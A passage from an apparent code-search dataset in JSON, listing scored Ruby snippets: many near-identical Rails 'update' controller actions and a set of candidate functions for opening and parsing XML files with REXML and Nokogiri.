end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a35aff92864d00283e6b80bd14a59d8", "score": "0.63646144", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0758c0c75f398a31c21393983fcfc0fe", "score": "0.6340209", "text": "def update\n respond_to do |format|\n if the_person.update(person_params)\n format.html { redirect_to user_person_path(the_user, the_person), notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: the_person }\n else\n format.html { render edit_user_person_path(the_user, the_person) }\n format.json { render json: the_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c5860095c82e00c6f5ac2a318af5727d", "score": "0.63347936", "text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5175b5e5781b7553661fbdf78bd911dd", "score": "0.6326775", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, info: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad32c42de9512eac2a97ce8511845103", "score": "0.63217014", "text": "def update\n @auth_person = Auth::Person.find(params[:id])\n\n respond_to do |format|\n if @auth_person.update_attributes(params[:auth_person])\n format.html { redirect_to @auth_person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @auth_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "19437534597efd17a76389a85b0c63fc", "score": "0.6320556", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fac8679beb291a9b6e6066633196786d", "score": "0.631568", "text": "def update\n respond_to do |format|\n if @new_person.update(new_person_params)\n format.html { redirect_to @new_person, notice: 'New person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @new_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b4cc3ee2207b39abaf779a6078bbaf3a", "score": "0.6312", "text": "def patch\n PATCH\n end", "title": "" }, { "docid": "b4cc3ee2207b39abaf779a6078bbaf3a", "score": "0.6312", "text": "def patch\n PATCH\n end", "title": "" }, { "docid": "f0686f191a0def3b6c3ad6edfbcf2f03", "score": "0.6311155", "text": "def update_user(email)\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/users/2.json'\n ).to_s\n\n puts RestClient.patch(\n url,\n { user: { email: email } }\n )\n end", "title": "" }, { "docid": "5cfa33b9a6ca93caf078d86a89ca86b4", "score": "0.6308646", "text": "def update\n @animal = Animal.find(params[:id])\n @people = Person.all\n\n respond_to do |format|\n if @animal.update_attributes(params[:animal])\n format.html { redirect_to @animal, notice: 'Animal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @animal.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "af9aedd4f428a2c26c3fd57798526020", "score": "0.63042766", "text": "def put(path, data = {}, header = {})\n _send(json_request(Net::HTTP::Patch, path, data, header))\n end", "title": "" }, { "docid": "059acc54e3b0704002105303f7c037a8", "score": "0.63014984", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "95e3b5a09867446c41975fe48cfdb6e4", "score": "0.629872", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: \"Person was successfully updated.\" }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "998e07bbc5b519ebbf856f2be3fe2b0f", "score": "0.62866205", "text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to people_path(:type => params[:type]), notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5fd5f00640bdb0c785bcac4689a46f3c", "score": "0.6279936", "text": "def patch(data, options={})\n raise NotImplementedError, \"We only patchs to singular resources.\" if count > 1\n first.patch(data, options)\n end", "title": "" }, { "docid": "0c90050dffab98428c139bfcdb8d601f", "score": "0.62790346", "text": "def update\n\n # @person = @organization.people.find( params[:id])\n\n respond_to do |format|\n if @person.update( person_params )\n format.html { redirect_to [@organization, @person], notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0c1a09a9d20ee815b5c9f998eda70b44", "score": "0.62730944", "text": "def patch(path, params = {}, options = {})\n options[:content_type] ||= :json\n options[:Authorization] = \"simple-token #{self.access_token}\"\n RestClient.patch(request_url(path), params.to_json, options)\n end", "title": "" }, { "docid": "208547487aa86c6154901998ef735705", "score": "0.6262089", "text": "def update\n respond_to do |format|\n if @myperson.update(myperson_params)\n format.html { redirect_to @myperson, notice: 'Myperson was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @myperson.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d394bb1960a2abe6f5248ff4147f37c4", "score": "0.6254713", "text": "def update\n respond_to do |format|\n if @person_person.update(person_person_params)\n format.html { redirect_to @person_person, notice: 'Person person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person_person }\n else\n format.html { render :edit }\n format.json { render json: @person_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "865962da3446bb0ea761784b3e525190", "score": "0.62447685", "text": "def update\n respond_to do |format|\n if @nice_person.update(nice_person_params)\n format.html { redirect_to @nice_person, notice: 'Nice person was successfully updated.' }\n format.json { render :show, status: :ok, location: @nice_person }\n else\n format.html { render :edit }\n format.json { render json: @nice_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dc084096193cb20b2d876e0dce031567", "score": "0.6238861", "text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(person_params)\n format.html { redirect_to person_games_path(@person), noticT: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a4dd3f4c4783c3eb4c2c0a1741bd9698", "score": "0.62333626", "text": "def update\n respond_to do |format|\n if @person_entity.update(person_entity_params)\n format.html { redirect_to @person_entity, notice: 'Person entity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person_entity.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9ab5e8db40f5e7d8a8e7b0bce7d8b58f", "score": "0.6231047", "text": "def update\n respond_to do |format|\n if @needy_person.update(needy_person_params)\n format.html { redirect_to @needy_person, notice: 'Needy person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @needy_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "657a58c3b44b5687f2c367faa32922a9", "score": "0.6228407", "text": "def update\n respond_to do |format|\n if @person_individual.update(person_individual_params)\n format.html { redirect_to @person_individual, notice: 'Person individual was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person_individual.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
ac37b81c995d2f22f4f1efae1f6bd8f0
Attempts to open a file as a Puppet::Util::FileType, parse it into an XML document object using REXML, and cache both the results. If the file does not exist, it will be created.
[ { "docid": "b99d9e4f6fb96538ca4f488069819e0c", "score": "0.5427636", "text": "def fetch_document(document)\n if !fetched_document? document then\n file = Puppet::Util::FileType.filetype(:flat).new(document)\n\n begin\n xml_doc = REXML::Document.new file.read\n rescue Puppet::Error => detail\n failed!(document, detail.message)\n rescue REXML::ParseException => detail\n msg = detail.continued_exception.to_s.split(\"\\n\")[0]\n failed!(document, \"Failed to open #{document}: #{msg}\")\n end\n\n mapped_file(document, file)\n xml_document(document, xml_doc)\n end\n end", "title": "" } ]
[ { "docid": "dbe5f14444470a9030a8feb9fa971ff6", "score": "0.66002214", "text": "def parse_file\n tempfile = gpx.queued_for_write[:original]\n doc = Nokogiri::XML(tempfile)\n parse_xml(doc)\n end", "title": "" }, { "docid": "6610dbb7b3e57942d0df4a8d2ccd06e1", "score": "0.64329743", "text": "def read_xml(file)\n file.open { |f| REXML::Document.new f }\n end", "title": "" }, { "docid": "9573ddbbdc8fdb70fdb7491b0d0ed486", "score": "0.6172016", "text": "def xml\n @xml ||= parse_xml(file_path)\n end", "title": "" }, { "docid": "bcc4782528546c8289a4da23912d5ef5", "score": "0.6048775", "text": "def read_test(filename)\n REXML::Document.new(File.open(filename).read)\nend", "title": "" }, { "docid": "74fba932583f786b12a78006663d735b", "score": "0.592409", "text": "def process_file file, type\n\n hash = @file_reader.get_hash_for_file file\n\n if @database.match_exists_for_file_and_hash? file, hash\n\n @logger.info \"Skipping \" + file + \", has not changed\"\n\n else\n\n @logger.info \"Processing file: \" + file\n\n xml = XMLDocument.new (File.read file)\n\n if xml.validates?\n\n @processed_files +=1\n\n while xml.has_node?\n\n @processed_records += 1\n\n node = xml.pop_node!\n\n ## Skip if it doesn't validate\n next unless (type == :deletion || (self.node_is_valid? node))\n\n if @database.person_exists? node['PersID'], @lookup\n\n if type == :deletion\n @database.delete_person! node['PersID']\n @deletes += 1\n @logger.info \"Deleted person with PersID: \" + node['PersID']\n next\n end\n\n if @database.person_hash_changed? node['PersID'], node['HashValue'], @lookup\n @database.update_person! node\n @updates +=1\n @logger.info \"Updated person with PersID: \" + node['PersID']\n end\n\n else\n if type == :deletion\n next\n end\n @database.create_person! node\n @inserts += 1\n @logger.info \"Created person with PersID: \" + node['PersID']\n end\n end\n else\n\n @logger.fatal \"File with filename \" + file + \" corrupt or not valid\"\n\n end\n\n @database.add_hash_for_file file, hash\n\n end\n\n end", "title": "" }, { "docid": "c966e1ad8d2e1ac5c127eb487b4c2883", "score": "0.57811135", "text": "def parse\n file = File.open(@file_name)\n @doc = Nokogiri::XML(wrap(file.readlines)) do |config|\n config.strict\n end\n rescue\n log(\"Error parsing file #{@file_name}, couldn't continue. Probably faulty HTML\")\n ensure\n file.close\n end", "title": "" }, { "docid": "9bda5af858cad3267218f43b227d53f7", "score": "0.5750761", "text": "def readXmlFile(_file)\n open(_file,\"r\"){|strm|\n readXmlStream(strm) ;\n }\n end", "title": "" }, { "docid": "b4a95a110509a842a57a5b9a72173ce0", "score": "0.5731898", "text": "def process_file(file_path, rec_xpath, field_maps)\n begin\n File.open(file_path) do |f|\n doc = Nokogiri::XML(f)\n add_data(doc, rec_xpath, field_maps, @context || file_path)\n end\n rescue\n STDERR.puts \"An error occurred while attempting to open #{file_path}\"\n raise\n end\n end", "title": "" }, { "docid": "e85f10e250adcb12d849369b69fec7fb", "score": "0.57041615", "text": "def reparse\n if file and file.changed?\n Puppet.notice \"Reparsing #{file.file}\"\n parse\n reuse\n end\n end", "title": "" }, { "docid": "242ac52434adb3fae01023fb94ec5a53", "score": "0.56950223", "text": "def get_xml( file )\n # NOTE: Raises Errno::ENOENT if file is not found\n Nokogiri::XML( IO.read( file ) )\n end", "title": "" }, { "docid": "e483dc960c1271b98a37d52455ab9324", "score": "0.56736386", "text": "def load_file(file = \"file.xml\")\n include XmlHelper\n\n f = open(file, 'r')\n if !(f.read)\n puts \"failed\"\n exit 1\n end\n f.close\nend", "title": "" }, { "docid": "20572216751f42c542ed9aba972c739e", "score": "0.56228966", "text": "def parse_xml(filename)\n @parser = Parser.new :pregenerated => filename\n @parser.parse\n end", "title": "" }, { "docid": "de5f8580e770c1f61193084f485da94d", "score": "0.56211483", "text": "def from( project, file, options = {} )\n \n x_file = file\n \n if( ! File.exists?(x_file) )\n raise \"ERROR - file #{x_file} not found\" # TODO exception class ??\n end\n \n puts \"Process file #{x_file}\"\n \n xml = XmlSystem::new_doc( x_file ) #Hpricot.XML( File.new(x_file) )\n \n if(xml.root.name == \"xsd:schema\" || xml.root.name == 'schema') \t\n reader = ReadFromXSD.new\n reader.from_xsd( project, xml, options)\n else\n reader = ReadFromXML.new\n reader.from_xml( project, xml )\n end\t\t\n end", "title": "" }, { "docid": "f6af4b4d58e0799f391f57c1df46fe42", "score": "0.56097335", "text": "def get_file\n logger.fatal \"GETTING FILE\"\n @xpdl = File.read( file_name )\n @json = XmlSimple.xml_in( file_name, { 'AttrPrefix' => false, 'KeepRoot' => false, 'ForceArray' => true }) if !@xpdl.blank?\n\n logger.fatal \"HELLO this is the xml in a hash\"\n logger.fatal @json.inspect\n end", "title": "" }, { "docid": "67251968b8ce4da4b06930aaad3d895e", "score": "0.5598894", "text": "def xml_fixture( file )\n return REXML::Document.new( fixture( file + '.xml'))\n end", "title": "" }, { "docid": "000516582f32a04a8bcdfcec2f8846a0", "score": "0.5596171", "text": "def nmap_xml_parser(file='./results/recon/127.0.0.1/nmap_results.xml')\n if File.exists?(file)\n # Parser Code Here using SimpleXML, TBD....\n #########################################################\n print_error(\"NMAP XML Parser Not Fully Implemented Yet!\")\n #########################################################\n else\n puts\n print_error(\"Unable to load #{file} for parsing!\")\n print_error(\"Check path or permissions and try again....\\n\\n\")\n end\n end", "title": "" }, { "docid": "bbc91c9cdc86cb089d4898b9223a2eea", "score": "0.5590877", "text": "def read_xml(filepath)\n data = read(filepath)\n Nokogiri::XML data\n end", "title": "" }, { "docid": "bbc91c9cdc86cb089d4898b9223a2eea", "score": "0.5590877", "text": "def read_xml(filepath)\n data = read(filepath)\n Nokogiri::XML data\n end", "title": "" }, { "docid": "606747b6169d6e560d2c14faa9c4813f", "score": "0.5583737", "text": "def read_file(file)\n Nokogiri::XML(XmlSimple.xml_out(ast_to_hash(Ripper::SexpBuilder.new(IO.read(file)).parse)))\n end", "title": "" }, { "docid": "343b92986ad84be9e3660f6b26a5b968", "score": "0.5583433", "text": "def load_xml(file_path)\n # Read the source XML file.\n puts \"file_path: #{file_path}\"\n raw_xml = File.read(file_path)\n\n # Parse raw_xml using Nokogiri.\n xml_document = Nokogiri.XML(raw_xml)\nend", "title": "" }, { "docid": "ee96a53c1673ba480e0a978f668a73b6", "score": "0.5554629", "text": "def load_file(filename, opts)\n file = File.new(opts[:filename])\n doc = Nokogiri::XML file\n return doc\nend", "title": "" }, { "docid": "a17dbb3b2d90c7365c69262baceb4046", "score": "0.5524864", "text": "def parse\n if url\n @doc = Nokogiri::XML(open(url))\n elsif file_path\n @doc = File.open(file_path) { |f| Nokogiri::XML(f) }\n end\n Validator.validate_nokogiri(@doc)\n @doc\n end", "title": "" }, { "docid": "45e7ca2d904fe3e4badacb1eccedad62", "score": "0.55176824", "text": "def load_from_file(filename, options={:mapping=>:_default})\n xml = REXML::Document.new(File.new(filename))\n load_from_xml xml.root, :mapping=>options[:mapping]\n end", "title": "" }, { "docid": "868277c5d2f64b92aeb8642c6d0adc22", "score": "0.55086416", "text": "def initialize(file)\n if file.class == String:\n handle = File.new(file)\n elsif file.respond_to?(\"read\", 5)\n handle = file\n else\n throw \"must pass in path or File\"\n end\n\n @parser = REXML::Parsers::PullParser.new(handle)\n end", "title": "" }, { "docid": "cc833d03c70a239d11c74cfdc9989179", "score": "0.5500518", "text": "def get_xml_data\n begin\n file = File.open(@xml_file)\n @document = Nokogiri::XML(file)\n file.close\n rescue Exception => e\n throw e.message\n end\n end", "title": "" }, { "docid": "8f4323526cac354c68b29b4d19d00966", "score": "0.54990685", "text": "def xml_fixture(file)\n return REXML::Document.new(fixture(file))\n end", "title": "" }, { "docid": "8f4323526cac354c68b29b4d19d00966", "score": "0.54990685", "text": "def xml_fixture(file)\n return REXML::Document.new(fixture(file))\n end", "title": "" }, { "docid": "330279361fe3e19f59a21cd63fd1e86d", "score": "0.54945374", "text": "def parse_file\n if file.exists?\n reset_manifest\n workbook = Roo::Excelx.new(file.path)\n set_sample_manifest_attributes workbook\n headers = column_headers\n sheets = sheet_index\n first_row = 20\n read_tissue_sheet workbook, sheets[:tissue], first_row, headers\n read_biofluids_sheet workbook, sheets[:biofluids], first_row, headers\n read_cells_sheet workbook, sheets[:cell], first_row, headers\n FileUtils.makedirs(client_directory) unless File.directory?(client_directory)\n new_file_name\n self.save!\n end \n end", "title": "" }, { "docid": "aeeeb8cfc079ebfb695ce6176dd8b2a6", "score": "0.54928976", "text": "def find_and_parse_cached_activity_page\n return if !FileTest.exists? cache_file_name\n\n Nokogiri::XML(IO.read(cache_file_name))\n end", "title": "" }, { "docid": "d2646ac5ef4b085d98c9777c9f6a112c", "score": "0.54875845", "text": "def parse\n @parser.parse(::File.open(@file))\n NodeCache.root\n end", "title": "" }, { "docid": "8661534dd8995888bdc8ba8c602a34a8", "score": "0.5473364", "text": "def parse_xml(file_path, modified_files_only)\n prefix = root_path || `git rev-parse --show-toplevel`.chomp\n\n files = []\n\n REXML::Document.new(File.read(file_path)).root.elements.each(\"file\") do |f|\n files << CheckstyleReports::Entity::FoundFile.new(f, prefix: prefix)\n end\n\n if modified_files_only\n target_files = git.modified_files + git.added_files\n\n files.select! { |f| target_files.include?(f.relative_path) }\n end\n\n files.reject! { |f| f.errors.empty? }\n files\n end", "title": "" }, { "docid": "3964a6bddba4e3bf43fd4abbba8ca6ac", "score": "0.54510516", "text": "def parse file_contents\n begin\n file_contents.encode!('UTF-8', 'UTF-8', :invalid => :replace)\n doc = if @options[:fragment] then Nokogiri::XML::DocumentFragment.parse(file_contents) else Nokogiri::XML::Document.parse(file_contents) end\n doc.children().each do |article| \n if article.kind_of? Nokogiri::XML::Element then\n length = parse_article article\n write_article article, length if @options[:write][:postings]\n @doc_id += 1\n @doc_ctr += 1\n end \n end\n rescue NoMemoryError\n dump\n parse file\n end\n end", "title": "" }, { "docid": "40a2a985435e4983a1c4faa4ba5dabd6", "score": "0.5449773", "text": "def load_workspace file\r\n raise LoadError, \"File does not exist at:\\n#{file}\" unless File.exists? file\r\n \r\n doc = nil\r\n File.open file, 'r' do |f|\r\n doc = REXML::Document.new f\r\n end\r\n \r\n parse_xml_element doc\r\n end", "title": "" }, { "docid": "df7eaf06194a07f7fb0ffbaa640e9fea", "score": "0.54393196", "text": "def from_xml_file(xml_file)\n zxml = newObject 'XMLReader'\n path_ = xml_file.respond_to?(:path) ? xml_file.path : xml_file\n zxml.openFile(real_win_path(path_))\n obj = xDTOSerializer.ReadXml zxml\n obj\n ensure\n zxml.close\n end", "title": "" }, { "docid": "91759cfa97a1e0b049fcfe2ff773f748", "score": "0.54347676", "text": "def metadata_xml\n Nokogiri::XML(File.open(local_file))\n end", "title": "" }, { "docid": "6677a2e5e34efa89a5f3665a2364a666", "score": "0.5403903", "text": "def parse_file_object(file)\n if file.kind_of?(File)\n @io_or_path = file\n @content_type = detect_mime_type(file.path)\n end\n end", "title": "" }, { "docid": "044276bd264f6654b91a4c11f0d59658", "score": "0.5371332", "text": "def read_xml_file(path, preserve_control_chars: false)\n file_data = ensure_utf8!(SafeFile.read(path))\n\n require 'nokogiri'\n\n doc = nil\n\n escaping_control_chars_if_necessary(preserve_control_chars, file_data) do\n doc = Nokogiri::XML(file_data, &:huge)\n doc.encoding = 'UTF-8'\n emulate_strict_mode_fatal_check!(doc)\n end\n\n doc\n end", "title": "" }, { "docid": "2d70d97a37f0b9e796974311e79d2672", "score": "0.5365612", "text": "def get_elements_from_filename(filename)\n REXML::Document.new(File.open(filename)).elements()\nend", "title": "" }, { "docid": "2d70d97a37f0b9e796974311e79d2672", "score": "0.5365612", "text": "def get_elements_from_filename(filename)\n REXML::Document.new(File.open(filename)).elements()\nend", "title": "" }, { "docid": "5f0d021503238647345546faf9172b28", "score": "0.53492403", "text": "def load_doc file_name\n\n file = File.open(file_name, \"r\")\n data = file.read\n file.close\n\n @log.info \"Nokogiri tries to load the file\"\n @doc = Nokogiri::HTML data if file_name.end_with? \"html\"\n @doc = Nokogiri::XML data if file_name.end_with? \"xml\"\n\n if @doc.nil?\n raise 'Nokogiri could not handle the format (xml / html) ?'\n end\n end", "title": "" }, { "docid": "422998a7a3ad8ba76631c238f7fbd75a", "score": "0.5345437", "text": "def nokogiriDoc(file)\n Nokogiri::XML(IO.read(\"#{file}\"))\n end", "title": "" }, { "docid": "1bfc56859dbb60aee652fd0f72c6ed0c", "score": "0.5337104", "text": "def load_xml_doc( filename )\n File.open( filename, 'r') do |file|\n return Oga.parse_xml( file )\n end\n end", "title": "" }, { "docid": "0760704f0d6042b37ea47ddd00ce5409", "score": "0.53331393", "text": "def big_xml_file\n return File.open(File.expand_path('../fixtures/big.xml', __FILE__), 'r')\nend", "title": "" }, { "docid": "f072df3bfe70547032c7c7e40b9694f5", "score": "0.533274", "text": "def loadXML(file)\n\txmlfile = File.new(file.strip)\n\txmldoc = Document.new(xmlfile)\n\txmldoc.root\t\nend", "title": "" }, { "docid": "28908e8815757dd6012346168294f88c", "score": "0.5317534", "text": "def get_r_file(attr_overrides={})\n content_type = case attr_overrides[:content_type]\n when true\n # Create test content_type\n path_to_repo = Repositext::Repository::Test.create!('rt-english').first\n Repositext::ContentType.new(File.join(path_to_repo, 'ct-general'))\n when Repositext::ContentType\n # Use as is\n attr_overrides[:content_type]\n else\n # No content_type given\n nil\n end\n r_file_class_name = \"Repositext::RFile::#{ attr_overrides[:sub_class] || 'ContentAt' }\"\n attrs = [\n attr_overrides[:contents] || \"# Title\\n\\nParagraph 1\",\n attr_overrides[:language] || Repositext::Language::English.new,\n attr_overrides[:filename] || '/path-to/rt-english/ct-general/content/57/eng57-0103_1234.at',\n content_type,\n ].compact\n Object.const_get(r_file_class_name).new(*attrs)\nend", "title": "" }, { "docid": "3abe7b150b7073476974e4c57ce07f21", "score": "0.5282156", "text": "def rescan_file path, type = nil\n type ||= file_type path\n\n unless @app_tree.path_exists?(path)\n return rescan_deleted_file path, type\n end\n\n case type\n when :controller\n rescan_controller path\n when :template\n rescan_template path\n when :model\n rescan_model path\n when :lib\n rescan_lib path\n when :config\n process_config\n when :initializer\n rescan_initializer path\n when :routes\n rescan_routes\n when :gemfile\n if tracker.config.has_gem? :rails_xss and tracker.config.escape_html?\n tracker.config.escape_html = false\n end\n\n process_gems\n else\n return false # Nothing to do, file hopefully does not need to be rescanned\n end\n\n true\n end", "title": "" }, { "docid": "1710d79cf160dde7ee8968ad21ee8526", "score": "0.527841", "text": "def populate( asset, filename, options = {} )\n\n asset.data_store = AssetDataStore.new( asset )\n\n if( ! File.exists?(filename) )\n raise \"ERROR - file #{filename} not found\" # TODO exception class ??\n end\n\n puts \"Process file #{filename}\"\n\n xml = XmlSystem::new_doc( filename ) #Hpricot.XML( File.new(x_file) )\n\n puts \"Opened data file #{filename}\"\n\n # TODO refactor this mapping finder into suitable class/module such as schemable\n composer_xml_map = {}\n asset.composers.each do |comp|\n xpath = comp.mappings.detect { |m| m.system_key_field.field == \"XPath\" }\n puts \"MAP #{comp.name} TO #{xpath.value}\" if xpath\n composer_xml_map[comp] = (xpath.value) if xpath # Maps a Composer to an XPath\n end\n\n # Now iterate over all XML elements and\n # MAP : Composer => data from xpath\n # TODO come back to the logic here, first stab looking inefficient,\n # can we seek in the XML for mapping_xpath\n #\n xml.each_recursive do |node|\n composer_xml_map.each do |comp, mapping_xpath|\n puts \"ADD TEXT #{node.xpath} => #{node.text}\"\n # gotcha with rexml - reduce repeating structure definitions like Value[0] to Value\n xp = node.xpath.gsub(/\\[\\d+\\]/, '')\n asset.data_store.add(comp, node.text) if(xp == mapping_xpath)\n end\n end\n end", "title": "" }, { "docid": "d81eaae2be2754b7fbd9057c521713d4", "score": "0.52778864", "text": "def parse_and_cache_file(file, vars, cached)\n content = File.read(file)\n output = parse(content, vars)\n File.write(cached, output) if Papyrus.cache_templates?\n output\n end", "title": "" }, { "docid": "f593220a6e2337f972d6b64e00226131", "score": "0.52757424", "text": "def get_xml(show, url, filename)\n log_debug\n \n local_file = show.gsub(/\\*/,'_') # seems really spaz, should encode the file to disk\n \n cache_dir = $config['script_dir'] + '/var/thetvdb/' + local_file\n cache_dir = $config[\"thetvdb\"][\"cache_directory\"] + \"/\" + local_file if $config[\"thetvdb\"].has_key? \"cache_directory\"\n \n FileUtils.mkdir_p(cache_dir) if not File.directory? cache_dir\n cache = cache_dir + \"/\" + filename + \".xml\"\n \n if File.exists? cache and not $config[\"tvdb-refresh\"]\n \n log_debug(\"thetvdb cache: #{cache}\")\n parser = XML::Parser.file cache\n begin\n doc = parser.parse\n rescue => err\n log(\"thetvdb error: #{err} when retrieving \\'#{show}\\'\")\n return \n end\n else\n log_debug(\"thetvdb direct: #{url}\")\n \n xml_data = http_get(url)\n parser = XML::Parser.string xml_data\n \n begin\n doc = parser.parse\n rescue => err\n log(\"thetvdb error: #{err} when retrieving \\'#{show}\\'\")\n return \n end\n log_debug(\"saving cache \\\"#{cache}\\\"\")\n File.open(cache, 'w') do |file| \n file.puts xml_data\n end\n end\n return doc\n end", "title": "" }, { "docid": "8bb1ff31b74d414fd7113999c2400077", "score": "0.5261651", "text": "def help_load_doc(xml_file_path)\n doc = nil\n File.open(xml_file_path, 'r') do |file_content|\n doc = REXML::Document.new(file_content, ignore_whitespace_nodes: :all)\n end\n return doc\n end", "title": "" }, { "docid": "6cde0f5a0a09ad874e63c122fc7f8789", "score": "0.5258349", "text": "def load_xml(path)\n parse_xml(File.read(path))\n rescue Errno::ENOENT => ex\n error \"Settings file not found\"\n return nil\n end", "title": "" }, { "docid": "ae136d06812bd449fb8680812b8ec32a", "score": "0.52511793", "text": "def test_parse_file\n a = File.open(\"test.xml\").xml_parse\n b = 